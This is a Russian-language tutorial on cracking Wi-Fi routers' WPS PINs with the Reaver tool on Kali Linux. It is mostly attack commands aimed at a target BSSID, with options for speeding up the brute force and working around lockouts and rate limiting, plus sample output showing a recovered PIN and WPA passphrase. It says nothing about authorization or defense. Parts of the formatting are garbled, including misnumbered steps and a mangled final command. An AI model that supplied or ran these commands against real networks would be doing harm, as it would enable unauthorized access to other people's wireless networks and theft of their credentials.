Запускаем брутфорс WPS Kali Linux «reaver»

Для старта Reaver в самом простом случае нужно немного. Необходимо лишь указать имя интерфейса (переведенного нами ранее в режим мониторинга) и BSSID точки доступа:

```
$ reaver -i mon0 -b 00:21:29:74:67:50 -vv
```

Ключ "-vv" включает расширенный вывод программы, чтобы мы могли убедиться, что все работает как надо.

Если программа последовательно отправляет PIN’ы точке доступа, значит, все завелось хорошо, и остается тупо ждать. Процесс может затянуться. Самое короткое время, за которое мне удалось сбрутфорсить PIN, составило примерно пять часов.

Как только он будет подобран, программа радостно об этом сообщит:

```
[+] Trying pin 646567129 [+] Key cracked in 1354 seconds [+] WPS
PIN: '646567129' [+] WPA PSK: 'Myhack' [+] AP SSID: 'Myhack'
```

```
Однако реализация WPS у разных производителей отличается, поэтому
в некоторых случаях необходима дополнительная настройка.
```

```
Ниже я приведу дополнительные опции, которые могут повысить
скорость и эффективность перебора ключа.
```

1. Можно задать номер канала и SSID точки доступа:
   # **reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys**
2. Благотворно сказывается на скорости брутфорса опция '--dh-small', которая задает небольшое значение секретного ключа, тем самым облегчая расчеты на стороне точки доступа:
   # **reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small**
3. Таймаут ожидания ответа по умолчанию равен пяти секундам. При необходимости его можно изменить:
   # **reaver -i mon0 -b 00:01:02:03:04:05 -t 2**
4. Задержка между попытками по умолчанию равна одной секунде. Она также может быть настроена:
   # **reaver -i mon0 -b 00:01:02:03:04:05 -d 0**
5. Некоторые точки доступа могут блокировать WPS на определенное время, заподозрив, что их пытаются поиметь. Reaver эту ситуацию замечает и делает паузу в переборе на 315 секунд по умолчанию, длительность этой паузы можно менять:
   # **reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250**
6. Некоторые реализации протокола WPS разрывают соединение при неправильном PIN-коде, хотя по спецификации должны возвращать особое сообщение. Reaver автоматически распознает такую ситуацию, для этого существует опция '--nack':
   # **reaver -i mon0 -b 00:01:02:03:04:05 --nack**
7. Опция '--eap-terminate' предназначена для работы с теми AP, которые требуют завершения WPS-сессии с помощью сообщения EAP FAIL:

reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate

1. Возникновение ошибок в WPS-сессии может означать, что AP ограничивает число попыток ввода PIN-кода, либо просто перегружена запросами. Информация об этом будет отображаться на экране. В этом случае Reaver приостанавливает свою деятельность, причем время паузы может быть задано с помощью опции '--fail-wait':
   # **reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360**

Дополнительно могут возникать ошибки...

Trying pin 12345670 (постоянный повтор pin).

Лечим...

$ reaver -i mon0 -b `00:01:02:03:04:05` -vv -***N*** - ***S*** -***c9***

Где — -S минимальное значение ключа, -N не отправлять сообщения Nack, -c9 номер канала.

WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking

Это защита роутера, повторы попыток подбора будут каждые 60 секунд.

Возможно отключение `reaver (сохранение проверенных pin) и` ***`возобновление атаки`***.